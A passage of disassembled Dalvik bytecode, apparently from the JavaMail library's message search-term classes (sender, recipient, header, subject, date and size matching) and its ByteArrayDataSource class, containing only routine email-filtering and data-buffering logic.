00000000  instance-of             v0, p1, FromStringTerm
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  invoke-super            AddressStringTerm->equals(Object)Z, p0, p1
00000012  move-result             v0
00000014  goto                    :A
.end method

.method public match(Message)Z
          .registers 6
00000000  const/4                 v1, 0x0
:2
00000002  invoke-virtual          Message->getFrom()[Address, p1
:8
00000008  move-result-object      v2
0000000A  if-nez                  v2, :10
:E
0000000E  return                  v1
:10
00000010  move                    v0, v1
:12
00000012  array-length            v3, v2
00000014  if-ge                   v0, v3, :E
:18
00000018  aget-object             v3, v2, v0
0000001C  invoke-super            AddressStringTerm->match(Address)Z, p0, v3
00000022  move-result             v3
00000024  if-eqz                  v3, :2C
:28
00000028  const/4                 v1, 0x1
0000002A  goto                    :E
:2C
0000002C  add-int/lit8            v0, v0, 0x1
00000030  goto                    :12
:32
00000032  move-exception          v0
00000034  goto                    :E
          .catch Exception {:2 .. :8} :32
.end method

#--------------------------------------------------------------------------------
.class public final FromTerm
.super AddressTerm
.source ""

.field private static final serialVersionUID:J = 0x485E7192407C3469L

.method public constructor <init>(Address)V
          .registers 2
00000000  invoke-direct           AddressTerm-><init>(Address)V, p0, p1
00000006  return-void
.end method

.method public equals(Object)Z
          .registers 3
00000000  instance-of             v0, p1, FromTerm
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  invoke-super            AddressTerm->equals(Object)Z, p0, p1
00000012  move-result             v0
00000014  goto                    :A
.end method

.method public match(Message)Z
          .registers 6
00000000  const/4                 v1, 0x0
:2
00000002  invoke-virtual          Message->getFrom()[Address, p1
:8
00000008  move-result-object      v2
0000000A  if-nez                  v2, :10
:E
0000000E  return                  v1
:10
00000010  move                    v0, v1
:12
00000012  array-length            v3, v2
00000014  if-ge                   v0, v3, :E
:18
00000018  aget-object             v3, v2, v0
0000001C  invoke-super            AddressTerm->match(Address)Z, p0, v3
00000022  move-result             v3
00000024  if-eqz                  v3, :2C
:28
00000028  const/4                 v1, 0x1
0000002A  goto                    :E
:2C
0000002C  add-int/lit8            v0, v0, 0x1
00000030  goto                    :12
:32
00000032  move-exception          v0
00000034  goto                    :E
          .catch Exception {:2 .. :8} :32
.end method

#--------------------------------------------------------------------------------
.class public final HeaderTerm
.super StringTerm
.source ""

.field private static final serialVersionUID:J = 0x73C690DFBA9D2142L
.field protected headerName:String

.method public constructor <init>(String, String)V
          .registers 3
00000000  invoke-direct           StringTerm-><init>(String)V, p0, p2
00000006  iput-object             p1, p0, HeaderTerm->headerName:String
0000000A  return-void
.end method

.method public equals(Object)Z
          .registers 5
00000000  const/4                 v0, 0x0
00000002  instance-of             v1, p1, HeaderTerm
00000006  if-nez                  v1, :C
:A
0000000A  return                  v0
:C
0000000C  check-cast              p1, HeaderTerm
00000010  iget-object             v1, p1, HeaderTerm->headerName:String
00000014  iget-object             v2, p0, HeaderTerm->headerName:String
00000018  invoke-virtual          String->equalsIgnoreCase(String)Z, v1, v2
0000001E  move-result             v1
00000020  if-eqz                  v1, :A
:24
00000024  invoke-super            StringTerm->equals(Object)Z, p0, p1
0000002A  move-result             v1
0000002C  if-eqz                  v1, :A
:30
00000030  const/4                 v0, 0x1
00000032  goto                    :A
.end method

.method public getHeaderName()String
          .registers 2
00000000  iget-object             v0, p0, HeaderTerm->headerName:String
00000004  return-object           v0
.end method

.method public hashCode()I
          .registers 3
00000000  iget-object             v0, p0, HeaderTerm->headerName:String
00000004  sget-object             v1, Locale->ENGLISH:Locale
00000008  invoke-virtual          String->toLowerCase(Locale)String, v0, v1
0000000E  move-result-object      v0
00000010  invoke-virtual          String->hashCode()I, v0
00000016  move-result             v0
00000018  invoke-super            StringTerm->hashCode()I, p0
0000001E  move-result             v1
00000020  add-int/2addr           v0, v1
00000022  return                  v0
.end method

.method public match(Message)Z
          .registers 6
00000000  const/4                 v1, 0x0
:2
00000002  iget-object             v0, p0, HeaderTerm->headerName:String
00000006  invoke-virtual          Message->getHeader(String)[String, p1, v0
:C
0000000C  move-result-object      v2
0000000E  if-nez                  v2, :14
:12
00000012  return                  v1
:14
00000014  move                    v0, v1
:16
00000016  array-length            v3, v2
00000018  if-ge                   v0, v3, :12
:1C
0000001C  aget-object             v3, v2, v0
00000020  invoke-super            StringTerm->match(String)Z, p0, v3
00000026  move-result             v3
00000028  if-eqz                  v3, :30
:2C
0000002C  const/4                 v1, 0x1
0000002E  goto                    :12
:30
00000030  add-int/lit8            v0, v0, 0x1
00000034  goto                    :16
:36
00000036  move-exception          v0
00000038  goto                    :12
          .catch Exception {:2 .. :C} :36
.end method

#--------------------------------------------------------------------------------
.class public abstract IntegerComparisonTerm
.super ComparisonTerm
.source ""

.field private static final serialVersionUID:J = 0x9F5C6CDA0679F7ECL
.field protected number:I

.method protected constructor <init>(I, I)V
          .registers 3
00000000  invoke-direct           ComparisonTerm-><init>()V, p0
00000006  iput                    p1, p0, IntegerComparisonTerm->comparison:I
0000000A  iput                    p2, p0, IntegerComparisonTerm->number:I
0000000E  return-void
.end method

.method public equals(Object)Z
          .registers 5
00000000  const/4                 v1, 0x0
00000002  instance-of             v0, p1, IntegerComparisonTerm
00000006  if-nez                  v0, :E
:A
0000000A  move                    v0, v1
:C
0000000C  return                  v0
:E
0000000E  move-object             v0, p1
00000010  check-cast              v0, IntegerComparisonTerm
00000014  iget                    v0, v0, IntegerComparisonTerm->number:I
00000018  iget                    v2, p0, IntegerComparisonTerm->number:I
0000001C  if-ne                   v0, v2, :30
:20
00000020  invoke-super            ComparisonTerm->equals(Object)Z, p0, p1
00000026  move-result             v0
00000028  if-eqz                  v0, :30
:2C
0000002C  const/4                 v0, 0x1
0000002E  goto                    :C
:30
00000030  move                    v0, v1
00000032  goto                    :C
.end method

.method public getComparison()I
          .registers 2
00000000  iget                    v0, p0, IntegerComparisonTerm->comparison:I
00000004  return                  v0
.end method

.method public getNumber()I
          .registers 2
00000000  iget                    v0, p0, IntegerComparisonTerm->number:I
00000004  return                  v0
.end method

.method public hashCode()I
          .registers 3
00000000  iget                    v0, p0, IntegerComparisonTerm->number:I
00000004  invoke-super            ComparisonTerm->hashCode()I, p0
0000000A  move-result             v1
0000000C  add-int/2addr           v0, v1
0000000E  return                  v0
.end method

.method protected match(I)Z
          .registers 5
00000000  const/4                 v0, 0x1
00000002  const/4                 v1, 0x0
00000004  iget                    v2, p0, IntegerComparisonTerm->comparison:I
00000008  packed-switch           v2, :5C
:E
0000000E  move                    v0, v1
:10
00000010  return                  v0
:12
00000012  iget                    v2, p0, IntegerComparisonTerm->number:I
00000016  if-le                   p1, v2, :10
:1A
0000001A  move                    v0, v1
0000001C  goto                    :10
:1E
0000001E  iget                    v2, p0, IntegerComparisonTerm->number:I
00000022  if-lt                   p1, v2, :10
:26
00000026  move                    v0, v1
00000028  goto                    :10
:2A
0000002A  iget                    v2, p0, IntegerComparisonTerm->number:I
0000002E  if-eq                   p1, v2, :10
:32
00000032  move                    v0, v1
00000034  goto                    :10
:36
00000036  iget                    v2, p0, IntegerComparisonTerm->number:I
0000003A  if-ne                   p1, v2, :10
:3E
0000003E  move                    v0, v1
00000040  goto                    :10
:42
00000042  iget                    v2, p0, IntegerComparisonTerm->number:I
00000046  if-gt                   p1, v2, :10
:4A
0000004A  move                    v0, v1
0000004C  goto                    :10
:4E
0000004E  iget                    v2, p0, IntegerComparisonTerm->number:I
00000052  if-ge                   p1, v2, :10
:56
00000056  move                    v0, v1
00000058  goto                    :10
0000005C  .packed-switch 0x1
              :12
              :1E
              :2A
              :36
              :42
              :4E
          .end packed-switch
.end method

#--------------------------------------------------------------------------------
.class public final MessageIDTerm
.super StringTerm
.source ""

.field private static final serialVersionUID:J = 0xE2905A280B6BE385L

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           StringTerm-><init>(String)V, p0, p1
00000006  return-void
.end method

.method public equals(Object)Z
          .registers 3
00000000  instance-of             v0, p1, MessageIDTerm
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  invoke-super            StringTerm->equals(Object)Z, p0, p1
00000012  move-result             v0
00000014  goto                    :A
.end method

.method public match(Message)Z
          .registers 6
00000000  const/4                 v1, 0x0
:2
00000002  const-string            v0, "Message-ID"
00000006  invoke-virtual          Message->getHeader(String)[String, p1, v0
:C
0000000C  move-result-object      v2
0000000E  if-nez                  v2, :14
:12
00000012  return                  v1
:14
00000014  move                    v0, v1
:16
00000016  array-length            v3, v2
00000018  if-ge                   v0, v3, :12
:1C
0000001C  aget-object             v3, v2, v0
00000020  invoke-super            StringTerm->match(String)Z, p0, v3
00000026  move-result             v3
00000028  if-eqz                  v3, :30
:2C
0000002C  const/4                 v1, 0x1
0000002E  goto                    :12
:30
00000030  add-int/lit8            v0, v0, 0x1
00000034  goto                    :16
:36
00000036  move-exception          v0
00000038  goto                    :12
          .catch Exception {:2 .. :C} :36
.end method

#--------------------------------------------------------------------------------
.class public final MessageNumberTerm
.super IntegerComparisonTerm
.source ""

.field private static final serialVersionUID:J = 0xB557BACF76AE80BCL

.method public constructor <init>(I)V
          .registers 3
00000000  const/4                 v0, 0x3
00000002  invoke-direct           IntegerComparisonTerm-><init>(I, I)V, p0, v0, p1
00000008  return-void
.end method

.method public equals(Object)Z
          .registers 3
00000000  instance-of             v0, p1, MessageNumberTerm
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  invoke-super            IntegerComparisonTerm->equals(Object)Z, p0, p1
00000012  move-result             v0
00000014  goto                    :A
.end method

.method public match(Message)Z
          .registers 3
00000000  invoke-virtual          Message->getMessageNumber()I, p1
00000006  move-result             v0
00000008  invoke-super            IntegerComparisonTerm->match(I)Z, p0, v0
0000000E  move-result             v0
:10
00000010  return                  v0
:12
00000012  move-exception          v0
00000014  const/4                 v0, 0x0
00000016  goto                    :10
          .catch Exception {:0 .. :6} :12
.end method

#--------------------------------------------------------------------------------
.class public final NotTerm
.super SearchTerm
.source ""

.field private static final serialVersionUID:J = 0x63420CC8AADC1008L
.field protected term:SearchTerm

.method public constructor <init>(SearchTerm)V
          .registers 2
00000000  invoke-direct           SearchTerm-><init>()V, p0
00000006  iput-object             p1, p0, NotTerm->term:SearchTerm
0000000A  return-void
.end method

.method public equals(Object)Z
          .registers 4
00000000  instance-of             v0, p1, NotTerm
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  check-cast              p1, NotTerm
00000010  iget-object             v0, p1, NotTerm->term:SearchTerm
00000014  iget-object             v1, p0, NotTerm->term:SearchTerm
00000018  invoke-virtual          Object->equals(Object)Z, v0, v1
0000001E  move-result             v0
00000020  goto                    :A
.end method

.method public getTerm()SearchTerm
          .registers 2
00000000  iget-object             v0, p0, NotTerm->term:SearchTerm
00000004  return-object           v0
.end method

.method public hashCode()I
          .registers 2
00000000  iget-object             v0, p0, NotTerm->term:SearchTerm
00000004  invoke-virtual          Object->hashCode()I, v0
0000000A  move-result             v0
0000000C  shl-int/lit8            v0, v0, 0x1
00000010  return                  v0
.end method

.method public match(Message)Z
          .registers 3
00000000  iget-object             v0, p0, NotTerm->term:SearchTerm
00000004  invoke-virtual          SearchTerm->match(Message)Z, v0, p1
0000000A  move-result             v0
0000000C  if-eqz                  v0, :14
:10
00000010  const/4                 v0, 0x0
:12
00000012  return                  v0
:14
00000014  const/4                 v0, 0x1
00000016  goto                    :12
.end method

#--------------------------------------------------------------------------------
.class public final OrTerm
.super SearchTerm
.source ""

.field private static final serialVersionUID:J = 0x4AAB7F3A24A275D8L
.field protected terms:[SearchTerm

.method public constructor <init>(SearchTerm, SearchTerm)V
          .registers 5
00000000  invoke-direct           SearchTerm-><init>()V, p0
00000006  const/4                 v0, 0x2
00000008  new-array               v0, v0, [SearchTerm
0000000C  iput-object             v0, p0, OrTerm->terms:[SearchTerm
00000010  iget-object             v0, p0, OrTerm->terms:[SearchTerm
00000014  const/4                 v1, 0x0
00000016  aput-object             p1, v0, v1
0000001A  iget-object             v0, p0, OrTerm->terms:[SearchTerm
0000001E  const/4                 v1, 0x1
00000020  aput-object             p2, v0, v1
00000024  return-void
.end method

.method public constructor <init>([SearchTerm)V
          .registers 5
00000000  invoke-direct           SearchTerm-><init>()V, p0
00000006  array-length            v0, p1
00000008  new-array               v0, v0, [SearchTerm
0000000C  iput-object             v0, p0, OrTerm->terms:[SearchTerm
00000010  const/4                 v0, 0x0
:12
00000012  array-length            v1, p1
00000014  if-lt                   v0, v1, :1A
:18
00000018  return-void
:1A
0000001A  iget-object             v1, p0, OrTerm->terms:[SearchTerm
0000001E  aget-object             v2, p1, v0
00000022  aput-object             v2, v1, v0
00000026  add-int/lit8            v0, v0, 0x1
0000002A  goto                    :12
.end method

.method public equals(Object)Z
          .registers 6
00000000  const/4                 v1, 0x0
00000002  instance-of             v0, p1, OrTerm
00000006  if-nez                  v0, :C
:A
0000000A  return                  v1
:C
0000000C  check-cast              p1, OrTerm
00000010  iget-object             v0, p1, OrTerm->terms:[SearchTerm
00000014  array-length            v0, v0
00000016  iget-object             v2, p0, OrTerm->terms:[SearchTerm
0000001A  array-length            v2, v2
0000001C  if-ne                   v0, v2, :A
:20
00000020  move                    v0, v1
:22
00000022  iget-object             v2, p0, OrTerm->terms:[SearchTerm
00000026  array-length            v2, v2
00000028  if-lt                   v0, v2, :30
:2C
0000002C  const/4                 v1, 0x1
0000002E  goto                    :A
:30
00000030  iget-object             v2, p0, OrTerm->terms:[SearchTerm
00000034  aget-object             v2, v2, v0
00000038  iget-object             v3, p1, OrTerm->terms:[SearchTerm
0000003C  aget-object             v3, v3, v0
00000040  invoke-virtual          Object->equals(Object)Z, v2, v3
00000046  move-result             v2
00000048  if-eqz                  v2, :A
:4C
0000004C  add-int/lit8            v0, v0, 0x1
00000050  goto                    :22
.end method

.method public getTerms()[SearchTerm
          .registers 2
00000000  iget-object             v0, p0, OrTerm->terms:[SearchTerm
00000004  invoke-virtual          [SearchTerm->clone()Object, v0
0000000A  move-result-object      v0
0000000C  check-cast              v0, [SearchTerm
00000010  return-object           v0
.end method

.method public hashCode()I
          .registers 4
00000000  const/4                 v0, 0x0
00000002  move                    v1, v0
:4
00000004  iget-object             v2, p0, OrTerm->terms:[SearchTerm
00000008  array-length            v2, v2
0000000A  if-lt                   v0, v2, :10
:E
0000000E  return                  v1
:10
00000010  iget-object             v2, p0, OrTerm->terms:[SearchTerm
00000014  aget-object             v2, v2, v0
00000018  invoke-virtual          Object->hashCode()I, v2
0000001E  move-result             v2
00000020  add-int/2addr           v1, v2
00000022  add-int/lit8            v0, v0, 0x1
00000026  goto                    :4
.end method

.method public match(Message)Z
          .registers 5
00000000  const/4                 v1, 0x0
00000002  move                    v0, v1
:4
00000004  iget-object             v2, p0, OrTerm->terms:[SearchTerm
00000008  array-length            v2, v2
0000000A  if-lt                   v0, v2, :10
:E
0000000E  return                  v1
:10
00000010  iget-object             v2, p0, OrTerm->terms:[SearchTerm
00000014  aget-object             v2, v2, v0
00000018  invoke-virtual          SearchTerm->match(Message)Z, v2, p1
0000001E  move-result             v2
00000020  if-eqz                  v2, :28
:24
00000024  const/4                 v1, 0x1
00000026  goto                    :E
:28
00000028  add-int/lit8            v0, v0, 0x1
0000002C  goto                    :4
.end method

#--------------------------------------------------------------------------------
.class public final ReceivedDateTerm
.super DateTerm
.source ""

.field private static final serialVersionUID:J = 0xD9BE404778824FBEL

.method public constructor <init>(I, Date)V
          .registers 3
00000000  invoke-direct           DateTerm-><init>(I, Date)V, p0, p1, p2
00000006  return-void
.end method

.method public equals(Object)Z
          .registers 3
00000000  instance-of             v0, p1, ReceivedDateTerm
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  invoke-super            DateTerm->equals(Object)Z, p0, p1
00000012  move-result             v0
00000014  goto                    :A
.end method

.method public match(Message)Z
          .registers 4
00000000  const/4                 v0, 0x0
:2
00000002  invoke-virtual          Message->getReceivedDate()Date, p1
:8
00000008  move-result-object      v1
0000000A  if-nez                  v1, :10
:E
0000000E  return                  v0
:10
00000010  invoke-super            DateTerm->match(Date)Z, p0, v1
00000016  move-result             v0
00000018  goto                    :E
:1A
0000001A  move-exception          v1
0000001C  goto                    :E
          .catch Exception {:2 .. :8} :1A
.end method

#--------------------------------------------------------------------------------
.class public final RecipientStringTerm
.super AddressStringTerm
.source ""

.field private static final serialVersionUID:J = 0x8CE759387E0D95DFL
.field private type:Message$RecipientType

.method public constructor <init>(Message$RecipientType, String)V
          .registers 3
00000000  invoke-direct           AddressStringTerm-><init>(String)V, p0, p2
00000006  iput-object             p1, p0, RecipientStringTerm->type:Message$RecipientType
0000000A  return-void
.end method

.method public equals(Object)Z
          .registers 5
00000000  const/4                 v1, 0x0
00000002  instance-of             v0, p1, RecipientStringTerm
00000006  if-nez                  v0, :E
:A
0000000A  move                    v0, v1
:C
0000000C  return                  v0
:E
0000000E  move-object             v0, p1
00000010  check-cast              v0, RecipientStringTerm
00000014  iget-object             v0, v0, RecipientStringTerm->type:Message$RecipientType
00000018  iget-object             v2, p0, RecipientStringTerm->type:Message$RecipientType
0000001C  invoke-virtual          Object->equals(Object)Z, v0, v2
00000022  move-result             v0
00000024  if-eqz                  v0, :38
:28
00000028  invoke-super            AddressStringTerm->equals(Object)Z, p0, p1
0000002E  move-result             v0
00000030  if-eqz                  v0, :38
:34
00000034  const/4                 v0, 0x1
00000036  goto                    :C
:38
00000038  move                    v0, v1
0000003A  goto                    :C
.end method

.method public getRecipientType()Message$RecipientType
          .registers 2
00000000  iget-object             v0, p0, RecipientStringTerm->type:Message$RecipientType
00000004  return-object           v0
.end method

.method public hashCode()I
          .registers 3
00000000  iget-object             v0, p0, RecipientStringTerm->type:Message$RecipientType
00000004  invoke-virtual          Object->hashCode()I, v0
0000000A  move-result             v0
0000000C  invoke-super            AddressStringTerm->hashCode()I, p0
00000012  move-result             v1
00000014  add-int/2addr           v0, v1
00000016  return                  v0
.end method

.method public match(Message)Z
          .registers 6
00000000  const/4                 v1, 0x0
:2
00000002  iget-object             v0, p0, RecipientStringTerm->type:Message$RecipientType
00000006  invoke-virtual          Message->getRecipients(Message$RecipientType)[Address, p1, v0
:C
0000000C  move-result-object      v2
0000000E  if-nez                  v2, :14
:12
00000012  return                  v1
:14
00000014  move                    v0, v1
:16
00000016  array-length            v3, v2
00000018  if-ge                   v0, v3, :12
:1C
0000001C  aget-object             v3, v2, v0
00000020  invoke-super            AddressStringTerm->match(Address)Z, p0, v3
00000026  move-result             v3
00000028  if-eqz                  v3, :30
:2C
0000002C  const/4                 v1, 0x1
0000002E  goto                    :12
:30
00000030  add-int/lit8            v0, v0, 0x1
00000034  goto                    :16
:36
00000036  move-exception          v0
00000038  goto                    :12
          .catch Exception {:2 .. :C} :36
.end method

#--------------------------------------------------------------------------------
.class public final RecipientTerm
.super AddressTerm
.source ""

.field private static final serialVersionUID:J = 0x5AE1A88C29BEF694L
.field protected type:Message$RecipientType

.method public constructor <init>(Message$RecipientType, Address)V
          .registers 3
00000000  invoke-direct           AddressTerm-><init>(Address)V, p0, p2
00000006  iput-object             p1, p0, RecipientTerm->type:Message$RecipientType
0000000A  return-void
.end method

.method public equals(Object)Z
          .registers 5
00000000  const/4                 v1, 0x0
00000002  instance-of             v0, p1, RecipientTerm
00000006  if-nez                  v0, :E
:A
0000000A  move                    v0, v1
:C
0000000C  return                  v0
:E
0000000E  move-object             v0, p1
00000010  check-cast              v0, RecipientTerm
00000014  iget-object             v0, v0, RecipientTerm->type:Message$RecipientType
00000018  iget-object             v2, p0, RecipientTerm->type:Message$RecipientType
0000001C  invoke-virtual          Object->equals(Object)Z, v0, v2
00000022  move-result             v0
00000024  if-eqz                  v0, :38
:28
00000028  invoke-super            AddressTerm->equals(Object)Z, p0, p1
0000002E  move-result             v0
00000030  if-eqz                  v0, :38
:34
00000034  const/4                 v0, 0x1
00000036  goto                    :C
:38
00000038  move                    v0, v1
0000003A  goto                    :C
.end method

.method public getRecipientType()Message$RecipientType
          .registers 2
00000000  iget-object             v0, p0, RecipientTerm->type:Message$RecipientType
00000004  return-object           v0
.end method

.method public hashCode()I
          .registers 3
00000000  iget-object             v0, p0, RecipientTerm->type:Message$RecipientType
00000004  invoke-virtual          Object->hashCode()I, v0
0000000A  move-result             v0
0000000C  invoke-super            AddressTerm->hashCode()I, p0
00000012  move-result             v1
00000014  add-int/2addr           v0, v1
00000016  return                  v0
.end method

.method public match(Message)Z
          .registers 6
00000000  const/4                 v1, 0x0
:2
00000002  iget-object             v0, p0, RecipientTerm->type:Message$RecipientType
00000006  invoke-virtual          Message->getRecipients(Message$RecipientType)[Address, p1, v0
:C
0000000C  move-result-object      v2
0000000E  if-nez                  v2, :14
:12
00000012  return                  v1
:14
00000014  move                    v0, v1
:16
00000016  array-length            v3, v2
00000018  if-ge                   v0, v3, :12
:1C
0000001C  aget-object             v3, v2, v0
00000020  invoke-super            AddressTerm->match(Address)Z, p0, v3
00000026  move-result             v3
00000028  if-eqz                  v3, :30
:2C
0000002C  const/4                 v1, 0x1
0000002E  goto                    :12
:30
00000030  add-int/lit8            v0, v0, 0x1
00000034  goto                    :16
:36
00000036  move-exception          v0
00000038  goto                    :12
          .catch Exception {:2 .. :C} :36
.end method

#--------------------------------------------------------------------------------
.class public SearchException
.super MessagingException
.source ""

.field private static final serialVersionUID:J = 0x9D91010E0FC225F2L

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           MessagingException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public final SentDateTerm
.super DateTerm
.source ""

.field private static final serialVersionUID:J = 0x4E60DB46F5385C7FL

.method public constructor <init>(I, Date)V
          .registers 3
00000000  invoke-direct           DateTerm-><init>(I, Date)V, p0, p1, p2
00000006  return-void
.end method

.method public equals(Object)Z
          .registers 3
00000000  instance-of             v0, p1, SentDateTerm
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  invoke-super            DateTerm->equals(Object)Z, p0, p1
00000012  move-result             v0
00000014  goto                    :A
.end method

.method public match(Message)Z
          .registers 4
00000000  const/4                 v0, 0x0
:2
00000002  invoke-virtual          Message->getSentDate()Date, p1
:8
00000008  move-result-object      v1
0000000A  if-nez                  v1, :10
:E
0000000E  return                  v0
:10
00000010  invoke-super            DateTerm->match(Date)Z, p0, v1
00000016  move-result             v0
00000018  goto                    :E
:1A
0000001A  move-exception          v1
0000001C  goto                    :E
          .catch Exception {:2 .. :8} :1A
.end method

#--------------------------------------------------------------------------------
.class public final SizeTerm
.super IntegerComparisonTerm
.source ""

.field private static final serialVersionUID:J = 0xDC867BF3E6E591A3L

.method public constructor <init>(I, I)V
          .registers 3
00000000  invoke-direct           IntegerComparisonTerm-><init>(I, I)V, p0, p1, p2
00000006  return-void
.end method

.method public equals(Object)Z
          .registers 3
00000000  instance-of             v0, p1, SizeTerm
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  invoke-super            IntegerComparisonTerm->equals(Object)Z, p0, p1
00000012  move-result             v0
00000014  goto                    :A
.end method

.method public match(Message)Z
          .registers 5
00000000  const/4                 v0, 0x0
:2
00000002  invoke-virtual          Message->getSize()I, p1
:8
00000008  move-result             v1
0000000A  const/4                 v2, 0xFFFFFFFFFFFFFFFF
0000000C  if-ne                   v1, v2, :12
:10
00000010  return                  v0
:12
00000012  invoke-super            IntegerComparisonTerm->match(I)Z, p0, v1
00000018  move-result             v0
0000001A  goto                    :10
:1C
0000001C  move-exception          v1
0000001E  goto                    :10
          .catch Exception {:2 .. :8} :1C
.end method

#--------------------------------------------------------------------------------
.class public final SubjectTerm
.super StringTerm
.source ""

.field private static final serialVersionUID:J = 0x67D3DF04E1E99FB8L

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           StringTerm-><init>(String)V, p0, p1
00000006  return-void
.end method

.method public equals(Object)Z
          .registers 3
00000000  instance-of             v0, p1, SubjectTerm
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  invoke-super            StringTerm->equals(Object)Z, p0, p1
00000012  move-result             v0
00000014  goto                    :A
.end method

.method public match(Message)Z
          .registers 4
00000000  const/4                 v0, 0x0
:2
00000002  invoke-virtual          Message->getSubject()String, p1
:8
00000008  move-result-object      v1
0000000A  if-nez                  v1, :10
:E
0000000E  return                  v0
:10
00000010  invoke-super            StringTerm->match(String)Z, p0, v1
00000016  move-result             v0
00000018  goto                    :E
:1A
0000001A  move-exception          v1
0000001C  goto                    :E
          .catch Exception {:2 .. :8} :1A
.end method

#--------------------------------------------------------------------------------
.class ByteArrayDataSource$DSByteArrayOutputStream
.super ByteArrayOutputStream
.source ""

.method constructor <init>()V
          .registers 1
00000000  invoke-direct           ByteArrayOutputStream-><init>()V, p0
00000006  return-void
.end method

.method public getBuf()[B
          .registers 2
00000000  iget-object             v0, p0, ByteArrayDataSource$DSByteArrayOutputStream->buf:[B
00000004  return-object           v0
.end method

.method public getCount()I
          .registers 2
00000000  iget                    v0, p0, ByteArrayDataSource$DSByteArrayOutputStream->count:I
00000004  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public ByteArrayDataSource
.super Object
.source ""

.implements DataSource

.field private data:[B
.field private len:I
.field private name:String
.field private type:String

.method public constructor <init>(InputStream, String)V
          .registers 7
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000008  iput                    v0, p0, ByteArrayDataSource->len:I
0000000C  const-string            v0, ""
00000010  iput-object             v0, p0, ByteArrayDataSource->name:String
00000014  new-instance            v0, ByteArrayDataSource$DSByteArrayOutputStream
00000018  invoke-direct           ByteArrayDataSource$DSByteArrayOutputStream-><init>()V, v0
0000001E  const/16                v1, 0x2000
00000022  new-array               v1, v1, [B
:26
00000026  invoke-virtual          InputStream->read([B)I, p1, v1
0000002C  move-result             v2
0000002E  if-gtz                  v2, :7A
:32
00000032  invoke-virtual          ByteArrayDataSource$DSByteArrayOutputStream->getBuf()[B, v0
00000038  move-result-object      v1
0000003A  iput-object             v1, p0, ByteArrayDataSource->data:[B
0000003E  invoke-virtual          ByteArrayDataSource$DSByteArrayOutputStream->getCount()I, v0
00000044  move-result             v1
00000046  iput                    v1, p0, ByteArrayDataSource->len:I
0000004A  iget-object             v1, p0, ByteArrayDataSource->data:[B
0000004E  array-length            v1, v1
00000050  iget                    v2, p0, ByteArrayDataSource->len:I
00000054  sub-int/2addr           v1, v2
00000056  const/high16            v2, 0x40000
0000005A  if-le                   v1, v2, :74
:5E
0000005E  invoke-virtual          ByteArrayDataSource$DSByteArrayOutputStream->toByteArray()[B, v0
00000064  move-result-object      v0
00000066  iput-object             v0, p0, ByteArrayDataSource->data:[B
0000006A  iget-object             v0, p0, ByteArrayDataSource->data:[B
0000006E  array-length            v0, v0
00000070  iput                    v0, p0, ByteArrayDataSource->len:I
:74
00000074  iput-object             p2, p0, ByteArrayDataSource->type:String
00000078  return-void
:7A
0000007A  const/4                 v3, 0x0
0000007C  invoke-virtual          ByteArrayDataSource$DSByteArrayOutputStream->write([B, I, I)V, v0, v1, v3, v2
00000082  goto                    :26
.end method

.method public constructor <init>(String, String)V
          .registers 6
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000008  iput                    v0, p0, ByteArrayDataSource->len:I
0000000C  const-string            v0, ""
00000010  iput-object             v0, p0, ByteArrayDataSource->name:String
00000014  const/4                 v0, 0x0
:16
00000016  new-instance            v1, ContentType
0000001A  invoke-direct           ContentType-><init>(String)V, v1, p2
00000020  const-string            v2, "charset"
00000024  invoke-virtual          ContentType->getParameter(String)String, v1, v2
:2A
0000002A  move-result-object      v0
:2C
0000002C  if-nez                  v0, :38
:30
00000030  invoke-static           MimeUtility->getDefaultJavaCharset()String
00000036  move-result-object      v0
:38
00000038  invoke-virtual          String->getBytes(String)[B, p1, v0
0000003E  move-result-object      v0
00000040  iput-object             v0, p0, ByteArrayDataSource->data:[B
00000044  iput-object             p2, p0, ByteArrayDataSource->type:String
00000048  return-void
:4A
0000004A  move-exception          v1
0000004C  goto                    :2C
          .catch ParseException {:16 .. :2A} :4A
.end method

.method public constructor <init>([B, String)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000008  iput                    v0, p0, ByteArrayDataSource->len:I
0000000C  const-string            v0, ""
00000010  iput-object             v0, p0, ByteArrayDataSource->name:String
00000014  iput-object             p1, p0, ByteArrayDataSource->data:[B
00000018  iput-object             p2, p0, ByteArrayDataSource->type:String
0000001C  return-void
.end method

.method public getContentType()String
          .registers 2
00000000  iget-object             v0, p0, ByteArrayDataSource->type:String
00000004  return-object           v0
.end method

.method public getInputStream()InputStream
          .registers 5
00000000  iget-object             v0, p0, ByteArrayDataSource->data:[B
00000004  if-nez                  v0, :18
:8
00000008  new-instance            v0, IOException
0000000C  const-string            v1, "no data"
00000010  invoke-direct           IOException-><init>(String)V, v0, v1
00000016  throw                   v0
:18
00000018  iget                    v0, p0, ByteArrayDataSource->len:I
0000001C  if-gez                  v0, :2A
:20
00000020  iget-object             v0, p0, ByteArrayDataSource->data:[B
00000024  array-length            v0, v0
00000026  iput                    v0, p0, ByteArrayDataSource->len:I
:2A
